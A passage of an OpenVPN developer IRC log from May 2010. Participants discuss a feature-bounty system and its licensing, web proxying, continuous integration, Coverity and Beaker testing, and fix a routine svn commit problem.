6 months after release (provided bugs are fixed/etc) 08:35 <@cron2> have we agreed upon a process to get "commit to main tree" done? 08:35 < ecrist> no idea 08:39 <@dazo> no, not really ... we have it in the DeveloperDocs, though ... but it's not "tested" or "used" ... the part to get it into openvpn-testing.git seems to work out ... but the last part, to get this code into James' tree is not done 08:39 <@dazo> but we're reaching a point soon where something do need to happen here as well 08:50 <@mattock> ecrist: something like that (50-25-25) sounds good... or even 33-33-33 to make sure nobody "quits" after the initial acceptance 08:50 <@mattock> :) 08:53 <@mattock> defining the size of the bounty is another challenge 08:54 < ecrist> the size is defined by the users. 08:54 < ecrist> i.e. if pushed configs is important to me, I can put how ever much I want toward that feature. 08:54 <@mattock> hmm... that'd be simple and probably effective 08:55 < ecrist> that's how other systems work. 08:55 < ecrist> I collected a bounty recently myself for a port update 08:55 <@mattock> then the challenge becomes who gets to do the really juicy (easy + lots of $$$) features :D 08:55 < ecrist> a user wanted an update to the freeswitch freebsd port, and offered $295 toward that effort. 08:56 <@mattock> I have one translation bounty waiting for me... unless somebody beats me to it 08:56 < ecrist> no challenge, really. developers setup up accounts and they can 'claim' a task 08:56 < ecrist> after a specific timeout, that task becomes available to another user, unless progress can be shown. 08:57 -!- dazo is now known as dazo_afk 08:57 <@mattock> good idea 08:59 <@mattock> even openvpn technologies could use this service to get things done when there's more money than time 09:01 < ecrist> could setup an independant third-party, call it OpenVPN Foundation or similar, to manage such things. 09:02 <@mattock> the description of the tasks have to be sufficiently clear to avoid misunderstandings ("this is not what I ordered") 09:02 < ecrist> that's not been a problem with the other systems I've seen 09:02 < ecrist> bounty are typically extremely specific 09:03 <@mattock> what if the feature itself is useful, but too specific to be included in the main codebase? 09:03 <@mattock> I mean the 50-25-25 payment scenario does not apply then 09:03 < ecrist> such as? 09:04 <@mattock> well, can't think of any examples off the bat... 09:04 < ecrist> I would say we'd deal with those as they came 09:04 <@mattock> yep, the basic idea is great nevertheless 09:04 < ecrist> that sort of thing becomes more feasible when/if openvpn rolls into a core+mods layout 09:05 <@mattock> true 09:05 <@mattock> ...gotta chill out a while now 09:05 < ecrist> bounty for mod_foobeans which does XYZ 09:05 < ecrist> l8r 09:24 -!- krzee [nobody@unaffiliated/krzee] has quit [Quit: This computer has gone to sleep] 10:38 -!- krzie [~k@unaffiliated/krzee] has quit [Quit: Leaving] 10:42 -!- krzee [~k@unaffiliated/krzee] has joined #openvpn-devel 11:54 -!- waldner_ [~waldner@unaffiliated/waldner] has joined #openvpn-devel 11:55 -!- waldner [~c2c9d2d6@gateway/web/freenode/x-sqlqpcpbpdtsaegk] has quit [Disconnected by services] 11:55 -!- waldner_ is now known as waldner 12:25 <@mattock> ecrist: I hope you don't mind but I added your thoughts to the meeting topics page 12:26 < ecrist> sure 12:26 -!- Bloodsong [~Nimbus@70.50.177.230] has joined #openvpn-devel 12:28 <@mattock> hey, what do you think the user registration server should be called? I'm thinking of either account.openvpn.net or register.openvpn.net... 12:28 <@mattock> as said, I'll have to move pwm to it's own server so that I can put it listening on port 443 12:29 <@raidz> cmon Samuli, you can't use magic to make both community and pwm listen on 443 :-p 12:29 <@mattock> I could actually... I could put Apache in front of Tomcat. Put that'd disable Java security manager (which I want to have enabled) 12:29 <@mattock> :D 12:29 < ecrist> mattock: why so much complication? 12:30 <@raidz> lol, im j/k 12:30 <@mattock> well, due to proxy servers blocking https access to non-standard https ports 12:30 < ecrist> with pf and relayd as an ssl concentrator, it would be trivial 12:31 <@mattock> yep, if I had pf, relayd and ssl concentrator :) 12:31 < ecrist> no, pf + relayd = ssl concentrator 12:32 <@mattock> oh 12:32 <@mattock> I suppose iptables could do the same tricks as pf, not sure about if relayd has been ported or if there's an alternative 12:32 < ecrist> pf would route connections to the appropriate server, all would masquerade as a single point. 12:33 < ecrist> heck, even apache can do that with proxypass/proxypassreverse 12:34 <@mattock> hmm... got to check apache proxying stuff out, never touched it 12:35 < ecrist> everything at secure-computing.net is all over the place, but it all looks like a single site. 12:36 <@mattock> however, I don't like servers with lots of non-related services running... and with a configuration management setup (e.g. the famous puppet) running, having tons of servers does not increase complexity much 12:36 <@mattock> I'll check the apache proxy stuff anyways 12:37 <@mattock> thanks ecrist! 12:39 < ecrist> np. keep in mind, users would likely rather go to one or two sites than a different subdomain for everything they do. 12:40 < ecrist> i.e. nobody wants to go to accounts.openvpn.net to create an account so they can log in to community.. and forums.. and devel.. and etc etc etc 12:40 <@mattock> ok, so is it Apache proxying that does the integration magic for you? 12:40 < ecrist> so, openvpn.net/forums would be nicer 12:41 <@mattock> yeah, agreed 12:41 < ecrist> and with apache, you just setup ProxyPass and ProxyPassReverse accordingly to point to forums.openvpn.net 12:41 < ecrist> openvpn.net/devel could be the community url 12:41 <@mattock> sounds excellent, muchos neatos 12:42 < ecrist> fwiw, that's also useful if you have applications, such as jabber, teamspeak, etc, that want to run on some odd port with their own web server 12:42 <@mattock> or odd servers like tomcat :) 12:42 < ecrist> indeed 12:43 < ecrist> I use that quite a bit to hide servers behind other boxes 12:43 <@mattock> thanks again for the hints, I'll probably move pwm to a separate server but use the proxying stuff to hide it from users 12:43 <@mattock> not pwm, but the URL :) 12:43 < ecrist> sure 13:06 < ecrist> isn't there supposed to be a meeting going on now? 13:06 <@mattock> wo ist james? 13:06 <@mattock> yep 13:06 <@mattock> I'll mail him 13:07 <@mattock> ok, let's wait a while and then start the meeting... 13:08 <@mattock> 18:12 maybe 13:08 <@mattock> UTC 13:08 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 13:08 < jamesyonan> hi 13:08 < ecrist> hello 13:09 <@mattock> hi james! 13:09 <@mattock> today's topics: https://community.openvpn.net/openvpn/wiki/Topics-2010-05-20 13:09 < vpnHelper> Title: Topics-2010-05-20 – OpenVPN (at community.openvpn.net) 13:09 <@mattock> no bugs or anything today as dazo is not here... and I guess it's been a quiet week 13:10 <@mattock> anything else somebody would like to add to the topic list before we start? 13:10 < ecrist> jamesyonan: FYI, openvpn-devel port is going to be default in pfSense 2.0 13:10 < jamesyonan> cool 13:11 < ecrist> talked with their lead developer over some beer last week. 13:11 < ecrist> as of friday last week, they were going to be using week 19 snapshot (last week) 13:12 <@mattock> should we begin from the bottom this time :)? " Developer bounties" 13:14 <@mattock> I think the idea is covered pretty well in the description... so what do you think about it? Props for this go to ecrist, btw 13:16 <@mattock> the only issue I can think of is with features which can't be included to main source tree. But that affects the payments more than anything else 13:16 <@mattock> ecrist: do you have ideas how the money transfer etc. would be implemented? 13:17 <@mattock> the bureaucracy I mean 13:17 < waldner> are there prior examples of this in other open source projects? To get an idea of the effects it could have 13:17 < ecrist> what do you mean? 13:18 < ecrist> waldner: lots of them. freeswitch has done it. pfSense does it 13:18 < waldner> ah thanks 13:18 < ecrist> some projects have it, on an unofficial level 13:18 <@mattock> funambol also has quite a few of these, for example https://phonesniper.forge.funambol.org/ 13:18 < vpnHelper> Title: phonesniper: Home (at phonesniper.forge.funambol.org) 13:19 <@mattock> so there is prior art 13:19 < waldner> thanks, I guess then it was just that I hadn't heard of them 13:19 <@mattock> I think this is a very good idea... do we all agree on that? 13:20 < jamesyonan> bounty seems like potentially a good idea, but would need volunteers to manage it -- i.e. vetting of code, insuring that requirements are met, etc. 13:20 < ecrist> mattock: as far as money transfer/handling 13:20 <@mattock> jamesyonan: the idea is to integrate it to the development process... so that all written features have to pass the normal development process 13:20 < ecrist> I think the process could be as follows: user submits a bounty request, and deposits their money via paypal to a holding fund. 13:20 <@mattock> so that no crap can get in 13:21 < ecrist> the holding fund helps to assure that 1) the money gets paid and 2) the developer does the work 13:22 < ecrist> the creator/subscriber can set a timeout, at which point the funds are refunded and the bounty dropped. 13:22 < ecrist> the timeout would not apply to work in progress, given a reasonable time 13:23 <@mattock> is this all (e.g. timeouts) achievable using paypal or is it manual work? 13:23 < waldner> sounds reasonable 13:23 < ecrist> mattock: it could be accomplished automatically with cron jobs 13:23 < ecrist> I 13:23 <@mattock> ecrist: ok, sounds good 13:23 < ecrist> 've done development with Paypal's API, so I'm familiar with how to handle that system 13:24 < ecrist> I do think the fund needs to be a non-developer and non-openvpn technologies entity, however 13:24 < waldner> I have a question though 13:25 < jamesyonan> how is copyright handled by other open source projects that use bounties? Does the developer hold the copyright or the bounty-payer? 13:25 < agi> hi all, sorry for being late 13:25 < waldner> wouldn't this system kind of "hold back" people from implementing new features when there's no bounty? 13:25 <@mattock> hi agi, no probs 13:25 < waldner> ie, features they want to add, but noone requested? 13:26 <@mattock> waldner: I thought of that too... however, developers tend to do things are important to them. So if you, say, want ipv6 support, you'll work on it, bounty or no bounty... 13:26 < waldner> just asking, eh, I'm not against it in principle 13:26 < waldner> yes, I suppose that is at least partly true 13:26 <@mattock> waldner: I didn't mean to be rude or anything :) 13:26 < ecrist> jamesyonan: good question. I would posit that we could force a BSD license upon the code generated during a bounty 13:27 < waldner> me neither :) 13:27 <@mattock> ecrist: I think GPLv2 and BSD licenses are incompatible, or are they? 13:27 < ecrist> depends on the direction 13:27 < ecrist> you can include BSD licensed code in GPL, but not vice-versa 13:28 < agi> ecrist: not always 13:29 < agi> the original BSD license is not GPL compatible 13:29 < agi> 'cos it has and 'advertisement' clause 13:30 <@mattock> I'd say requiring GPLv2 would make most sense, given OpenVPN is GPLv2 licensed anyways... or what benefit would we get by using a BSD license? 13:30 < ecrist> BSD is 'really' free, GPLv2 requires GPLv2+ 13:30 <@mattock> ok, now we get to religious issues :) 13:30 <@mattock> GPL protects the code's freedom, whereas BSD license does not :) 13:31 < ecrist> you can take BSD licensed code, as long as you mention the original author, can relicense it as GPLv2 with your changes. 13:31 <@mattock> but let us not go into this 13:31 < ecrist> you can't enfoce GPLv2 on the code you didn't write, as the original source still maintains BSD 13:31 < ecrist> the reason I recommend BSD for bounties, is either party (payer or payee) can take the code and do with it as they please, with the code remaining available to the project at large. 13:32 < jamesyonan> agreed -- I think BSD makes sense for bounties 13:32 <@mattock> ecrist: ok, sounds reasonable 13:33 <@mattock> ok, so for the OpenVPN project use we'd relicense the BSD-licensed code under GPLv2 and mention the author 13:33 <@mattock> ? 13:34 <@mattock> and the developer and payer could use the BSD-licensed version any way they please? 13:34 < ecrist> essentially 13:34 <@mattock> ok, sounds good 13:35 <@mattock> ecrist: are you thinking about volunteering for this job? :) 13:35 < ecrist> the thing to remember is the original source remains BSD licensed, you can't enfoce another license upon code that's available already 13:35 < ecrist> mattock: I could, sure. 13:35 < ecrist> I had me in mind, but wouldn't mind someone stepping up. 13:35 <@mattock> what if we send mail to -users mailinglist about this 13:36 <@mattock> to verify the licensing issues and to ask if somebody wants to take part in this 13:36 < ecrist> before we get the community at large involved, I think we need more legwork. 13:36 <@mattock> how come? 13:36 < ecrist> for one, where there is money involved, there needs to be some organization 13:37 < ecrist> I was thinking that we could create, ala FreeBSD, The OpenVPN Foundation, to hold the monies and potentially, in the future, benefit further development in the future. 13:38 < ecrist> i.e. people donate money to open source projects, nobody wants to donate money to an evil corporation (no offense OpenVPN Technologies, Inc) 13:38 < agi> we could also 'use' SPI 13:38 < ecrist> we could use that foundation to hold those donations, in addition to the bounties. 13:38 < agi> if we want to save the hassle of creating a NPO 13:39 < ecrist> what is SPI? 13:39 < agi> http://www.spi-inc.org/ 13:39 < vpnHelper> Title: Welcome to SPI Welcome to SPI (at www.spi-inc.org) 13:39 < agi> SPI is a non-profit organization which was founded to help organizations develop and distribute open hardware and software 13:39 < krzee> sorry im late 13:40 <@mattock> hi krzee! 13:40 < krzee> hey =] 13:40 <@mattock> agi: so SPI takes care of the bureaucracy stuff? 13:40 < agi> right 13:40 < agi> http://www.spi-inc.org/projects 13:40 < vpnHelper> Title: Projects Welcome to SPI (at www.spi-inc.org) 13:42 -!- astrophy [~astrophy@95.211.87.139] has joined #openvpn-devel 13:42 < agi> there's also 3rd party sites devoted to free software bounties 13:43 <@mattock> agi: is there a way to link a SPI donation to a specific feature? 13:43 < agi> yes, when donations are made, they can be marked for a project 13:43 < krzee> how about for a feature for that project? 13:44 < krzee> like "ipv6 in openvpn" 13:44 <@mattock> yep, that's what I meant 13:44 < agi> so I guess, it could be marked at 'feature level' too 13:44 < agi> but I guess contacting SPI for those details would be better than my word 13:45 <@mattock> ok, I think we need to check out SPI and similar services... creating a foundation at this point is probably an overkill 13:45 <@mattock> that is, if we don't have to do that... 13:46 <@mattock> should we crowdsource this SPI/foundation/whatever thing by sending mail to -users... we'd also see what kind of feedback this plan would get 13:47 -!- astrophy [~astrophy@95.211.87.139] has quit [Ping timeout: 252 seconds] 13:48 <@mattock> let me rephrase that... any objections against sending mail about this to -users mailinglist? ;) 13:49 < ecrist> no 13:50 <@mattock> ok, anything else we'd need to discuss regarding bounties? 13:50 < ecrist> until we resolve WHERE to keep the money, no. 13:50 < ecrist> so far, I've been keeping money donated to the community 13:50 < ecrist> http://www.secure-computing.net/wiki/index.php/OpenVPN/Donations 13:50 < vpnHelper> Title: OpenVPN/Donations - Secure Computing Wiki (at www.secure-computing.net) 13:52 <@mattock> ok, shall we move to next topic: "Continuous integration server" (https://community.openvpn.net/openvpn/wiki/Topics-2010-05-20) 13:52 < vpnHelper> Title: Topics-2010-05-20 – OpenVPN (at community.openvpn.net) 13:53 <@mattock> ok, so in a nutshell the idea is to a) spot build problems a.s.a.p. b) create and publish openvpn-testing packages (source+binary) 13:53 <@mattock> automagically 13:54 < ecrist> I'm guessing something with virtualization? 13:54 <@mattock> it could also probably be used a centralized place to review the code with automated tools 13:55 < jamesyonan> I should also mention that the OpenVPN project has an account with Coverity to use their commercial, compile-time bug-finding tool 13:55 <@mattock> ecrist: the idea with continuous integration is to check that no commits cause the build to break... but if this would be integrated with beaker then the build could be tested with multiple OS'es / setups 13:57 <@mattock> jamesyonan: how does coverity work? is it a standalone app? 13:58 < jamesyonan> it's a web app -- you basically upload the source code to the web app, run it, and it produces a list of source code warnings 13:59 <@mattock> does it have an API that could be used? e.g. to launch the check automatically from the CI server? 13:59 <@mattock> and mail the results to -devel 14:00 < ecrist> any non-javascript/java/flash site should be scriptable 14:00 < ecrist> and for the others, there are plugins for firefox to work around that 14:00 <@mattock> a clean API would be nicer, though :) 14:01 < ecrist> HTTP POST *is* an API. ;) 14:02 <@mattock> guess so, but the web pages are not guaranteed to remain the same... anyways, this is worth checking out 14:02 < jamesyonan> not sure -- I haven't used it extensively 14:02 <@mattock> ok, let's check if it's programmable... if not, we can / should still use it periodically 14:04 <@mattock> so do you think the whole idea with continuous integration / openvpn-testing packaging+publishing server worth the effort? 14:04 <@mattock> I think we need to publish openvpn-testing packages anyways, so the CI stuff is basically cream on top of that 14:05 <@mattock> and it should be relatively trivial to setup 14:06 * ecrist on phone with Coverity 14:06 < ecrist> they have an API 14:07 <@mattock> great! 14:07 < ecrist> jamesyonan: can you get me the login info? 14:07 < jamesyonan> sure 14:07 < krzee> [12:06] so do you think the whole idea with continuous integration / openvpn-testing packaging+publishing server worth the effort? 14:07 < krzee> i do 14:08 < krzee> takes a human step out of the process 14:08 < ecrist> I was told by sales that there is an API and it's covered under the documentation within the account 14:08 < krzee> which makes it easier and therefor more likely for people to test stuff in -testing 14:08 < ecrist> krzee: pfSense 2.0 is going to use my openvpn-devel freebsd port by default. :P 14:09 < krzee> besides, afaik ecrist has that most of the way done 14:09 <@mattock> ok, then we could integrate coverity checks into the CI server... 14:09 < krzee> ecrist, ya thats coolness! 14:09 <@mattock> I'll start working on the CI stuff once I get my backlog a little shorter :) 14:09 < ecrist> now if only I can con openvpn tech into paying my way to BSDCan next year. muahaha 14:10 <@mattock> shall we move on to "Beaker test framework"... this is originally dazo's idea which was discussed already in November/December I think 14:11 <@mattock> so the basic idea with Beaker is to automatically test an application with various setups... for example, on different OS'es, with different settings, etc. 14:12 <@mattock> so that problems with the external functionality of the application can be spotted early on 14:12 <@mattock> the only downside here is that a) it requires quite a lot of VM's, b) takes a while to setup so that it does something useful 14:13 <@mattock> also, if we want to test OpenVPN in "extreme" conditions, we'd need VM's from community members with really crappy connections :) 14:13 < krzee> i have crappy connection 14:13 < ecrist> me too 14:13 < krzee> its normal MTU, but its shitty bw 14:14 < ecrist> :P 14:14 < krzee> ecrist, liar! 14:14 <@mattock> in general, providing VM's for Beaker would be an easy way for community members to contribute to the project 14:14 <@mattock> krzee, ecrist: do you have incredible packet loss percentage, too? 14:14 < krzee> interestingly enough i dont need to adjust MTU over a sat link even 14:14 < krzee> nope, actually i dont have packet loss 14:14 < ecrist> mattock: I was kidding, I have a good connection. 14:14 < krzee> even over the aforementioned sat link 14:15 <@mattock> ecrist: how can I believe anything you say anymore? :) 14:15 < jamesyonan> re: crappy connections -- OpenVPN has some code (look for "gremlin" in the source) to simulate crappy connections and packet corruption. 14:15 < krzee> ecrist's link is so good i have a colo in his basement 14:15 < krzee> lol 14:15 < ecrist> recall the wiki/forums and such currently reside on my connection. 14:16 < ecrist> I'm sure it wouldn't be too difficult to simulate some of that within a series of vms and firewall foo 14:16 < ecrist> be a bit of work to setup, but once you have the test environment, it's easy to do the tests 14:16 < waldner> AFAIR with netem or dummynet it should be possible to emulate arbitrary packet loss, latency, etc 14:16 < waldner> I have to refresh that, it was much time ago 14:17 <@mattock> jamesyonan, waldner: interesting... so this packet loss testing thingy has been taken care of already :) 14:17 < jamesyonan> the code is there to do the testing, but we don't have an automated system in place to exercise it 14:18 < waldner> yes, it's a fairly common requirement for emulated networks...vde has facilities for that too 14:18 <@mattock> jamesyonan: you mean the gremlin stuff? 14:18 < jamesyonan> yes 14:19 <@mattock> perhaps we should take a good look into Beaker and what it can do... as it can test connectivity between the tested VM's, it might be able to test it with simulated packet loss, too 14:21 <@mattock> so this Beaker stuff _may_ be possible to integrate with the CI stuff - as dazo put it - "with some creative scripting" 14:21 <@mattock> does anyone have anything to add to this CI/Beaker mess? Or shall we call it a day and start working on these a.s.a.p.? 14:23 <@mattock> anything else to discuss today? 14:23 < ecrist> not for me 14:24 <@mattock> ok, I'll summarize the meeting tomorrow and send mail regarding the bounty system to -users 14:25 < krzee> if any females wanna donate to the confgen, i accept payments in the form of full frontal nudity 14:26 <@mattock> krzee: will you write better code then? :) 14:26 < krzee> not sure, wouldnt hurt! 14:26 < agi> lol 14:26 <@mattock> btw. is confgen already on openvpn-testing tree? 14:27 < krzee> doubtful, but it will also do CA management by interfacing with ecrist's ssl-admin once he rewrites 14:28 < krzee> at that point i hope it gets included some places 14:28 <@mattock> ok 14:29 <@mattock> ok, now that we finally covered female frontal nudity, I think the meeting can ended with peace of mind :D 14:29 <@mattock> see you later, guys! 14:29 < krzee> adios! 14:30 < agi> g'night 14:31 < ecrist> krzee: you want I should add confgen to freebsd-ports, or are you pushing for inclusion to openvpnn proper, first? 14:32 < krzee> once it handles CA stuff too ild like to see if people want it added to openvpn itself 14:33 < krzee> but maybe putting it in ports would be a great idea actually... 14:33 < krzee> since everywhere else comes with bash 14:33 < krzee> with ports it could have bash as a dep 14:35 < ecrist> right 14:35 < ecrist> have you been keeping svn up-to-date, by chance? 14:35 < krzee> neg 14:35 < krzee> i havnt used svn since ssl-admin, and that was my first time 14:35 < krzee> dunno my pass even 14:36 < ecrist> could you start? it would make things a bit easier. if not SCN's SVN, a git/svn/cvs tree somewhere. 14:36 < ecrist> pass is easy to change. ;) 14:36 < krzee> ok, or if you like you could grab it from gobby? 14:36 < ecrist> I did that once. 14:36 * ecrist looks 14:36 < krzee> oh ok, its up to date there 14:36 < krzee> bush's ip 14:37 < ecrist> ------------------------------------------------------------------------ 14:37 < ecrist> r257 | ecrist | 2010-05-07 14:22:56 -0500 (Fri, 07 May 2010) | 2 lines 14:37 < ecrist> added krzee's openvpn-confgen script suite 14:37 < ecrist> I don't know the location 14:37 < krzee> bush's ip 14:38 < krzee> -j scarydevilmonastery.net 14:38 < krzee> he also has some german domain name starting with a v, but as i dont speak german its VERY hard for me to remember, i just whois him 14:39 < ecrist> I con't remember what I did last time to get the files 14:40 < krzee> once you join with gobby -j 14:40 < krzee> you just save them 14:41 < ecrist> sure, but gobby on mac is hard to install. I did something specific, don't recall 14:41 < ecrist> I'll figure it out sometime 14:41 < krzee> i use it on mac 14:41 < ecrist> oh, I remember 14:41 < krzee> but ill svn if you want 14:42 < krzee> you have it installed on a diff machine you're saying? 14:42 < ecrist> I think so 14:42 < krzee> if so, just port install gobby would work 14:42 < ecrist> I downloaded a binary version somewhere 14:42 < krzee> but i dont wanna make you go through so much effort, ill svn if you want 14:42 * ecrist tries to find it 14:42 < ecrist> I'd rather 14:42 < ecrist> the cost of entry is lower for me. 14:42 < ecrist> I still have to do all the port work. 14:42 < ecrist> which shouldn't be too much. 14:43 < krzee> and i already have svn here 14:43 < krzee> so change pw and gimme command? =] 14:44 < krzee> oh and xxx might be lagged for a bit 14:44 < krzee> new openbsd release, eating up the bandwidth at the moment 14:44 < krzee> (that same box is a openbsd mirror) 14:44 < ecrist> that's fine 14:44 < krzee> the wave of new downloaders should finish in a couple days to a week 14:45 < ecrist> I can't beat the price, so who am I to bitch. ;) 14:45 < krzee> ;] 14:47 < ecrist> krzee: see PM 14:48 < krzee> cool 14:48 < krzee> issue with my svn, reinstalling from macports 14:49 < krzee> co worked, commit had issue 14:49 < krzee> no biggie tho 14:50 < ecrist> ok 14:59 < krzee> jeffs-Mac-Pro:openvpn-confgen jeff$ SVN_EDITOR=/usr/bin/nano 14:59 < krzee> jeffs-Mac-Pro:openvpn-confgen jeff$ svn commit 14:59 < krzee> svn: Commit failed (details follow): 14:59 < krzee> svn: Could not use external editor to fetch log message; consider setting the $SVN_EDITOR environment variable or using the --message (-m) or --file (-F) options 14:59 < krzee> svn: None of the environment variables SVN_EDITOR, VISUAL or EDITOR are set, and no 'editor-cmd' run-time configuration option was found 15:06 < ecrist> krzee: set EDITOR in your env 15:06 < ecrist> echo $EDITOR 15:06 < ecrist> export EDITOR=vim 15:06 < ecrist> or setenv EDITOR vim 15:06 < ecrist> depending on your shell 15:06 < krzee> ok lol i forgot i needed to export to children 15:07 < ecrist> or, svn commit -m updating so ecrist doesnt smack me 15:07 * ecrist is out 15:07 < krzee> adios 15:08 < krzee> done 15:47 -!- Bloodsong [~Nimbus@70.50.177.230] has quit [Read error: Connection reset by peer] 15:50 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Quit: Leaving.] 16:00 -!- astrophy [~astrophy@67.159.28.166] has joined #openvpn-devel 16:59 * openvpn2009 is off to soak in the sun 17:07 -!- cron2_ [~gert@kirk.greenie.muc.de] has joined #openvpn-devel 17:08 -!- Netsplit *.net <-> *.split quits: @cron2, waldner, mape2k 17:09 -!- Netsplit over, joins: waldner 17:09 -!- Netsplit over, joins: mape2k 17:30 -!- waldner [~waldner@unaffiliated/waldner] has quit [Quit: Leaving] 20:16 -!- krzie [nobody@unaffiliated/krzee] has joined #openvpn-devel 21:53 < ecrist> krzee: is openvpn-confgen ready for ports, or is there more to be done with it? 21:54 < krzie> really just whats in the header 21:54 < krzie> but i dont mind making that 0.2 21:55 < ecrist> OK. I'll build a port tomorrow or over the weekend and get it submitted. 21:55 < ecrist> Do you have a webpage for it, or do you want to create a wiki page/forum topic for it for users? 21:55 < krzie> if confgen is a port too now, may as well make a metaport to include ssl-admin/confgen/ovpn 21:55 < krzie> true, i should 21:56 < ecrist> thought about that. 21:56 < krzie> im thinking forum topic 21:56 < krzie> but im half retarded from jui jitsu practice, gunna go visit a girl first 21:57 < ecrist> OK. send me info when you can and I'll get it done over the weekend. 21:57 < krzie> cool 21:57 < ecrist> also, if you would write a synopsis I can include in pkg-mesg 21:58 < ecrist> you prefer public domain to BSD? --- Day changed Fri May 21 2010 00:26 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 01:46 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 01:46 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:16 -!- waldner [~c2c9d2d6@gateway/web/freenode/x-dwmnasonmazbvbjg] has joined #openvpn-devel 04:02 -!- mape2k [~mape2k@2001:6f8:997:1000:221:86ff:fe98:93a2] has quit [Ping timeout: 276 seconds] 04:14 -!- mape2k [~mape2k@2001:6f8:997:1000:221:86ff:fe98:93a2] has joined #openvpn-devel 04:27 -!- mape2k [~mape2k@2001:6f8:997:1000:221:86ff:fe98:93a2] has quit [Read error: Operation timed out] 04:41 -!- mape2k [~mape2k@p5B28665D.dip.t-dialin.net] has joined #openvpn-devel 05:13 -!- dazo_afk is now known as dazo 06:11 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 258 seconds] 08:57 -!- dazo [~dazo@nat/redhat/x-ptfackcljdhimteg] has quit [Read error: Connection reset by peer] 08:58 -!- dazo [~dazo@nat/redhat/x-equtpjhcpxlkmsts] has joined #openvpn-devel 08:58 -!- mode/#openvpn-devel [+o dazo] by ChanServ 10:19 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 10:29 -!- waldner [~c2c9d2d6@gateway/web/freenode/x-dwmnasonmazbvbjg] has quit [] 10:38 <@dazo> jamesyonan: hi! Have you had any time to look at the roadmap updates I sent earlier on? https://community.openvpn.net/openvpn/wiki/RoadMap 10:38 < vpnHelper> Title: RoadMap – OpenVPN (at community.openvpn.net) 10:38 < jamesyonan> No, I've been swamped the last couple weeks 10:39 <@dazo> jamesyonan: oki, no prob! I would appreciate some feedback there at some point, so that we can bring this discussion further 10:39 < jamesyonan> sure 11:08 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 12:27 -!- astrophy [~astrophy@67.159.28.166] has quit [Ping timeout: 245 seconds] 15:22 < krzie> [22:58] you prefer public domain to BSD? 15:23 < krzie> im not willing to use my real name, therefore im not willing to defend the license, so i release it as public domain 15:23 < krzie> i could be wrong, but i dont think 'krzee' can hold a license 15:25 < krzie> i spoke with JJK about it, since he mentioned that it may end up included in the openvpn book he is writing (which im very ok with), and wanted to make sure that his publisher couldnt try to claim copyright on it 15:25 <@dazo> krzie: I think you could use a valid e-mail address 15:26 < krzie> only real difference between public domain and bsd would be getting my credit, if someone takes that from me i wouldnt pursue anything anyways 15:26 < krzie> so public domain is fine =] 15:27 < krzie> i just want it to be a step twords making things easier on the avg person 15:27 <@dazo> then PD is perfectly fine 15:36 -!- dazo is now known as dazo_afk 16:12 * ecrist adds a \n to the end and BSD licenses it. Muahaha 16:18 < krzie> go for it *shrug* 16:19 < krzie> all they have to do to not give you your credit is remove the extra \n 16:19 < krzie> :-p 16:20 * ecrist throws krzie's real name (Hugh G Rection) on the source. 16:20 < krzie> Edward Normus Johnson 16:21 < krzie> but you can call me Enormus Johnson 16:21 < krzie> ;] 19:30 -!- waldner [~waldner@unaffiliated/waldner] has quit [Quit: Leaving] 20:15 < krzie> ecrist, http://ovpnforum.com/viewtopic.php?f=22&t=4683 20:15 < vpnHelper> Title: OpenVPN Forum View topic - openvpn-confgen (at ovpnforum.com) 20:16 < krzie> also, that new forum is a good place for you to mention ssl-admin 20:16 < krzie> (http://ovpnforum.com/viewforum.php?f=22 is new) 20:16 < vpnHelper> Title: OpenVPN Forum View forum - Cert / Config management (at ovpnforum.com) 22:04 -!- mape2k [~mape2k@p5B28665D.dip.t-dialin.net] has quit [Ping timeout: 260 seconds] 22:04 -!- mape2k [~mape2k@2001:6f8:997:1000:221:86ff:fe98:93a2] has joined #openvpn-devel 22:43 -!- raidzx [~Andrew@seance.openvpn.org] has joined #openvpn-devel 22:46 -!- raidz [~Andrew@seance.openvpn.org] has quit [Ping timeout: 248 seconds] --- Day changed Sat May 22 2010 01:13 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 05:04 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 09:41 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 10:39 -!- Netsplit *.net <-> *.split quits: jamesyonan 12:20 -!- cron2_ is now known as cron2 12:20 -!- mode/#openvpn-devel [+o cron2] by ChanServ 17:57 -!- waldner [~waldner@unaffiliated/waldner] has quit [Quit: Leaving] --- Day changed Sun May 23 2010 01:48 -!- raidzx [~Andrew@seance.openvpn.org] has quit [Quit: Leaving] 05:41 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 11:53 -!- mattock [~samuli@gprs-internet-ff0bd100-176.dhcp.inet.fi] has joined #openvpn-devel 11:53 -!- mode/#openvpn-devel [+o mattock] by ChanServ 13:22 -!- raidz [~Andrew@seance.openvpn.org] has joined #openvpn-devel 13:22 -!- mode/#openvpn-devel [+o raidz] by ChanServ 13:23 -!- mattock1 [~samuli@gprs-internet-ff0ad100-115.dhcp.inet.fi] has joined #openvpn-devel 13:23 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 13:24 -!- mattock [~samuli@gprs-internet-ff0bd100-176.dhcp.inet.fi] has quit [Ping timeout: 272 seconds] 13:37 -!- mattock1 [~samuli@gprs-internet-ff0ad100-115.dhcp.inet.fi] has quit [Ping timeout: 265 seconds] 13:50 -!- vpnHelper [~vpn@unaffiliated/krzee/bot/vpnhelper] has quit [Quit: krzie] 13:50 -!- vpnHelper [~vpn@unaffiliated/krzee/bot/vpnhelper] has joined #openvpn-devel 13:51 -!- vpnHelper [~vpn@unaffiliated/krzee/bot/vpnhelper] has quit [Client Quit] 13:54 -!- vpnHelper [~vpn@unaffiliated/krzee/bot/vpnhelper] has joined #openvpn-devel 14:54 -!- jhaar [~jhaar@2001:470:828b:0:21c:bfff:fea9:1197] has joined #openvpn-devel 14:55 -!- jhaar [~jhaar@2001:470:828b:0:21c:bfff:fea9:1197] has left #openvpn-devel [] 15:11 -!- krzee 